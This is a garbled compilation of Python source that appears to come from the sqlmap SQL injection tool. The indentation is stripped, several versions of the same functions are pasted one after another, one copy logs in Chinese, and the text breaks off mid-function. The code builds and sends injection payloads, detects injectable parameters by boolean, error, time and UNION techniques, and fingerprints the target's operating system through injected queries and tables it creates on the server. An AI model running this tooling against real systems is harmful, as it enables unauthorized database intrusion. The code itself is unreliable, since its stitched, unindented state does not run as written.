def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))")
if result:
Backend.setOs(OS.WINDOWS)
elif not result:
Backend.setOs(OS.LINUX)
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()
self.cleanup(onlyFileTbl=True)
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
result = inject.checkBooleanExpression("\"L\"===strtoupper(substr(PYTHON_OS,0,1))")
if result:
Backend.setOs(OS.LINUX)
elif not result:
Backend.setOs(OS.WINDOWS)
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()
self.cleanup(onlyFileTbl=True)
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
Backend.setOs(Format.humanize(kb.bannerFp["type"]))
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if "distrib" in kb.bannerFp:
kb.osVersion = Format.humanize(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS):
kb.osSP = 0
if Backend.getOs() and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
hashDBWrite(HASHDB_KEYS.OS, Backend.getOs())
def getRemoteTempPath(self):
if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
debugMsg = "identifying Microsoft SQL Server error log directory "
debugMsg += "that sqlmap will use to store temporary files with "
debugMsg += "commands' output"
logger.debug(debugMsg)
_ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
if _:
conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
debugMsg = "going to use %s as temporary files directory" % conf.tmpPath
logger.debug(debugMsg)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = u"对后端DBMS操作系统和版本进行指纹识别"
logger.info(infoMsg)
result = inject.checkBooleanExpression(
"'W'=UPPER(MID(@@version_compile_os,1,1))")
if result:
Backend.setOs(OS.WINDOWS)
elif not result:
Backend.setOs(OS.LINUX)
if Backend.getOs():
infoMsg = u"后端DBMS操作系统是%s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()
self.cleanup(onlyFileTbl=True)
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]", str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.testFilter:
if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else "")):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if conf.dbms is None and len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value)
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
else:
boundaries = conf.boundaries
for boundary in boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
# Options --prefix/--suffix have a higher priority (if set by user)
prefix = conf.prefix if conf.prefix is not None else prefix
suffix = conf.suffix if conf.suffix is not None else suffix
comment = None if conf.suffix is not None else comment
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates, 1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other potential "
infoMsg += "injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
injection.dbms = dValue
if not isinstance(dValue, list):
Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = execute(conf.alert, shell=True)
process.wait()
kb.alerted = True
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
kb.vulnHosts.add(conf.hostname)
break
def resumeConfKb(expression, url, value):
if expression == "Injection data" and url == conf.url:
try:
injection = base64unpickle(value[:-1])
except AttributeError:
warnMsg = "there were some changes in data model "
warnMsg += "preventing normal resume of previously stored "
warnMsg += "injection data. please use the --flush-session "
warnMsg += "to have it fixed"
singleTimeWarnMessage(warnMsg)
return
infoMsg = "resuming injection data from session file"
logger.info(infoMsg)
if injection.place in conf.paramDict and \
injection.parameter in conf.paramDict[injection.place]:
if not conf.tech or intersect(conf.tech, injection.data.keys()):
if intersect(conf.tech, injection.data.keys()):
injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items()))
if injection not in kb.injections:
kb.injections.append(injection)
else:
warnMsg = "there is an injection in %s parameter '%s' " % (injection.place, injection.parameter)
warnMsg += "but you did not provided it this time"
logger.warn(warnMsg)
elif expression == "Dynamic markings" and url == conf.url:
kb.dynamicMarkings = base64unpickle(value[:-1])
infoMsg = "resuming dynamic markings from session file"
logger.info(infoMsg)
elif expression == "DBMS" and url == conf.url:
dbms = unSafeFormatString(value[:-1])
dbms = dbms.lower()
dbmsVersion = [UNKNOWN_DBMS_VERSION]
infoMsg = "resuming back-end DBMS '%s' " % dbms
infoMsg += "from session file"
logger.info(infoMsg)
firstRegExp = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms
message += "but from a past scan information on the target URL "
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
message += "Do you really want to force the back-end "
message += "DBMS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.dbms = None
Backend.setDbms(dbms)
Backend.setVersionList(dbmsVersion)
else:
Backend.setDbms(dbms)
Backend.setVersionList(dbmsVersion)
elif expression == "OS" and url == conf.url:
os = unSafeFormatString(value[:-1])
if os and os != 'None':
infoMsg = "resuming back-end DBMS operating system '%s' " % os
infoMsg += "from session file"
logger.info(infoMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.os = os
else:
conf.os = os
Backend.setOs(conf.os)
elif expression == "Remote temp path" and url == conf.url and conf.tmpPath is None:
conf.tmpPath = unSafeFormatString(value[:-1])
infoMsg = "resuming remote absolute path of temporary "
infoMsg += "files directory '%s' from session file" % conf.tmpPath
logger.info(infoMsg)
elif conf.freshQueries:
pass
elif expression == "TABLE_EXISTS" and url == conf.url:
table = unSafeFormatString(value[:-1])
split = '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.'
if split in table:
db, table = table.split(split)
else:
db = "%s%s" % (Backend.getIdentifiedDbms(), METADB_SUFFIX)
infoMsg = "resuming brute forced table name "
infoMsg += "'%s' from session file" % table
logger.info(infoMsg)
kb.brute.tables.append((db, table))
elif expression == "COLUMN_EXISTS" and url == conf.url:
table, column = unSafeFormatString(value[:-1]).split('|')
colName, colType = column.split(' ')
split = '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.'
if split in table:
db, table = table.split(split)
else:
db = "%s%s" % (Backend.getIdentifiedDbms(), METADB_SUFFIX)
infoMsg = "resuming brute forced column name "
infoMsg += "'%s' for table '%s' from session file" % (colName, table)
logger.info(infoMsg)
kb.brute.columns.append((db, table, colName, colType))
elif expression == "xp_cmdshell availability" and url == conf.url:
kb.xpCmdshellAvailable = True if unSafeFormatString(value[:-1]).lower() == "true" else False
infoMsg = "resuming xp_cmdshell availability"
logger.info(infoMsg)
def checkDbmsOs(self, detailed=False):
if Backend.getOs() and Backend.getOsVersion(
) and Backend.getOsServicePack():
return
if not Backend.getOs():
Backend.setOs(OS.WINDOWS)
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
(self.fileTblName, self.tblField, "@@VERSION"))
versions = {
"2003": ("5.2", (2, 1)),
# TODO: verify this
#"2003": ("6.0", (2, 1)),
"2008": ("7.0", (1, )),
"2000": ("5.0", (4, 3, 2, 1)),
"7": ("6.1", (1, 0)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1))
}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (
self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')>0"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsVersion(version)
infoMsg += " %s" % Backend.getOsVersion()
break
if not Backend.getOsVersion():
Backend.setOsVersion("2003")
Backend.setOsServicePack(2)
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(),
Backend.getOsServicePack())
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[Backend.getOsVersion()][1]
for sp in sps:
query = "SELECT LEN(%s) FROM %s WHERE %s " % (
self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + getUnicode(sp) + "%'"
result = inject.goStacked(query)
if result is not None and len(result) > 0 and result[0].isdigit():
Backend.setOsServicePack(sp)
break
if not Backend.getOsServicePack():
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
Backend.setOsServicePack(0)
if Backend.getOsVersion():
infoMsg += " Service Pack %d" % Backend.getOsServicePack()
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def checkDbmsOs(self, detailed=False):
if Backend.getOs() and Backend.getOsVersion(
) and Backend.getOsServicePack():
return
if not Backend.getOs():
Backend.setOs(OS.WINDOWS)
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
(self.fileTblName, self.tblField, "@@VERSION"))
# Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
# http://en.wikipedia.org/wiki/Windows_NT#Releases
versions = {
"NT": ("4.0", (6, 5, 4, 3, 2, 1)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (3, 2, 1)),
"2003": ("5.2", (2, 1)),
"Vista or 2008": ("6.0", (2, 1)),
"7 or 2008 R2": ("6.1", (1, 0)),
"8 or 2012": ("6.2", (0, )),
"8.1 or 2012 R2": ("6.3", (0, ))
}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "EXISTS(SELECT %s FROM %s WHERE %s " % (
self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsVersion(version)
infoMsg += " %s" % Backend.getOsVersion()
break
if not Backend.getOsVersion():
Backend.setOsVersion("2003")
Backend.setOsServicePack(2)
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(),
Backend.getOsServicePack())
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[Backend.getOsVersion()][1]
for sp in sps:
query = "EXISTS(SELECT %s FROM %s WHERE %s " % (
self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + getUnicode(sp) + "%')"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsServicePack(sp)
break
if not Backend.getOsServicePack():
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
Backend.setOsServicePack(0)
if Backend.getOsVersion():
infoMsg += " Service Pack %d" % Backend.getOsServicePack()
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def checkDbmsOs(self, detailed=False):
if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack():
return
if not Backend.getOs():
Backend.setOs(OS.WINDOWS)
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = { "2003": ("5.2", (2, 1)),
# TODO: verify this
#"2003": ("6.0", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"7": ("6.1", (1, 0)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')>0"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsVersion(version)
infoMsg += " %s" % Backend.getOsVersion()
break
if not Backend.getOsVersion():
Backend.setOsVersion("2003")
Backend.setOsServicePack(2)
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack())
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[Backend.getOsVersion()][1]
for sp in sps:
query = "SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + getUnicode(sp) + "%'"
result = inject.goStacked(query)
if result is not None and len(result) > 0 and result[0].isdigit():
Backend.setOsServicePack(sp)
break
if not Backend.getOsServicePack():
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
Backend.setOsServicePack(0)
if Backend.getOsVersion():
infoMsg += " Service Pack %d" % Backend.getOsServicePack()
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def checkDbmsOs(self, detailed=False):
if Backend.getOs() and kb.osVersion and kb.osSP:
return
if not Backend.getOs():
Backend.setOs(OS.WINDOWS)
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = { "2003": ("5.2", (2, 1)),
#"2003": ("6.0", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')>0"
if inject.checkBooleanExpression(query):
infoMsg += " %s" % kb.osVersion
kb.osVersion = version
break
if not kb.osVersion:
kb.osVersion = "2003"
kb.osSP = 2
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[kb.osVersion][1]
for sp in sps:
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + getUnicode(sp) + "%')>0"
if inject.checkBooleanExpression(query):
kb.osSP = sp
break
if not kb.osSP:
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
kb.osSP = 0
if kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
